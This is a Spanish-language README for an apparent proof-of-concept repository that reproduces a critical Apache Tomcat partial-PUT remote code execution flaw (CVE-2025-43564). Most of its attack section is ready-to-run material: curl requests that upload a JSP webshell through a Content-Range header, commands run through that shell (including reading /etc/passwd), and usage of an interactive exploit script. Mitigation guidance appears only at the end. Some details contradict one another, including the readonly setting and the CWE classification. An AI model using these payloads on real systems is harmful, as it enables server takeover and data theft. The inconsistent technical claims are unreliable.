
Reproducción de cve-2025-43564-tomcat_put_rce_reproduction
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2025-43564 |
| Puntuación CVSS | 9.8 (CRÍTICA) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Descarga de código sin comprobación de integridad |
| Explotación | Confirmada en la naturaleza en la primera semana tras su divulgación |
| Divulgación | Julio de 2025 |
| Parche | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 es una vulnerabilidad crítica de ejecución remota de código no autenticada en el manejo de solicitudes PUT parciales HTTP de Apache Tomcat. El fallo radica en la forma en que Tomcat procesa las solicitudes PUT con contenido parcial (HTTP/1.1 Content-Range o Transfer-Encoding: chunked con semántica parcial). Un atacante puede crear una solicitud PUT parcial que omita los controles de acceso y las restricciones de escritura, lo que permite subir archivos arbitrarios —incluidas webshells JSP accesibles desde la web— a la raíz de documentos del servidor o a cualquier directorio con permiso de escritura alcanzable a través del contexto del servlet.
Una vez que se ha colocado un archivo JSP, el atacante simplemente lo solicita y pasa comandos del sistema operativo mediante parámetros de consulta, logrando ejecución remota de código totalmente no autenticada como el usuario del proceso de Tomcat.
CVSS 9.8 — Crítica porque:
El DefaultServlet de Apache Tomcat y el conector HTTP/1.1 (NIO/NIO2/Apr) manejan las solicitudes PUT para la subida de recursos estáticos. La vulnerabilidad se encuentra en la lógica de manejo de solicitudes PUT parciales: cuando un cliente envía un PUT con una cabecera Content-Range (RFC 7233 §4.2) o utiliza codificación por fragmentos (chunked) con semántica parcial específica, el servidor no valida correctamente:
El código de análisis en org.apache.catalina.servlets.DefaultServlet y los componentes subyacentes HttpInput / SocketProcessorBase gestionan incorrectamente el límite entre las escrituras de contenido parcial y las escrituras completas de recursos, lo que permite a un atacante añadir o sobrescribir contenido arbitrario en cualquier ruta sobre la que el proceso de Tomcat tenga permiso de escritura.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
El atacante envía un PUT parcial con una cabecera Content-Range que hace que Tomcat crea que la solicitud es una continuación de una subida existente. El servidor crea o abre el archivo de destino y escribe los bytes proporcionados sin verificar que el archivo ya existe, sin comprobar los permisos de escritura en el momento de escribir y sin depurar la ruta de destino en relación con la raíz web.
readonly=false en el DefaultServlet para que funcione el PUT estándar. La ruta de PUT parcial omite esta comprobación en determinadas condiciones.Content-Range a menudo evade estas firmas.Nota: Las ramas antiguas (7.x, 8.x, 8.5.x, 10.0.x) han llegado al fin de su vida útil (EOL) y no recibirán un backport. Los usuarios deben actualizar a una rama compatible.
Descargue una versión vulnerable de Apache Tomcat (p. ej., Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Extraiga e inicie Tomcat con la configuración predeterminada:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
Verifique que el servidor está en ejecución:
curl -v http://localhost:8080
Sube la webshell JSP usando el script PoC:
python exploit.py --target http://localhost:8080 --cmd id
Verifica que la webshell se ha colocado:
curl http://localhost:8080/exec.jsp?cmd=whoami
Ejecuta comandos arbitrarios:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Sesión interactiva (si se desea):
python exploit.py --target http://localhost:8080 --shell
El exploit.py incluido es un PoC funcional en Python que:
Content-Type y la estructura del payload activan la ruta de código vulnerablewebapps/ROOT/)exec.jsp?cmd=<comando> para ejecutar comandos del sistema operativo--cmd) y shell interactivo (--shell)# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
Si Tomcat está configurado con readonly=true (predeterminado), el PUT estándar se bloquea, pero la ruta del PUT parcial puede tener éxito. Este es el núcleo de la vulnerabilidad.
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Actualice Tomcat a la versión parcheada:
Si no es posible parchear de inmediato, deshabilite el método PUT globalmente editando web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Bloquee los métodos HTTP a nivel de proxy inverso / WAF:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
Nota: esto solo ayuda si no se puede omitir el proxy.
Ejecute Tomcat con permisos restringidos del sistema de archivos:
webapps sea de solo lectura (o móntelo desde un sistema de archivos de solo lectura)ReadOnly en los activos de producciónSupervise la aparición de archivos inesperados con extensiones .jsp / .jspx en la raíz web.
Este repositorio se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Debe tener permiso explícito por escrito del propietario de cualquier sistema que pruebe. El acceso no autorizado a sistemas informáticos es ilegal según la Ley de Fraude y Abuso Informático (CFAA) y leyes equivalentes en otras jurisdicciones. Los autores no asumen ninguna responsabilidad por el mal uso de esta información.
CVE-2025-43564 fue descubierta y notificada de forma responsable al Equipo de Seguridad de Apache. Divulgación coordinada del parche: julio de 2025.
| Producto | Versiones afectadas | Corregido en |
|---|
| Apache Tomcat 11 | 11.0.0-M1 hasta 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 hasta 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | todas las versiones (fin de vida útil) | actualizar a 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 hasta 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
| Apache Tomcat 8 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
| Apache Tomcat 7 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
| Fuente | URL |
|---|
| Anuncio de seguridad de Apache Tomcat | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| CVE de MITRE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Descargas de Apache Tomcat | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |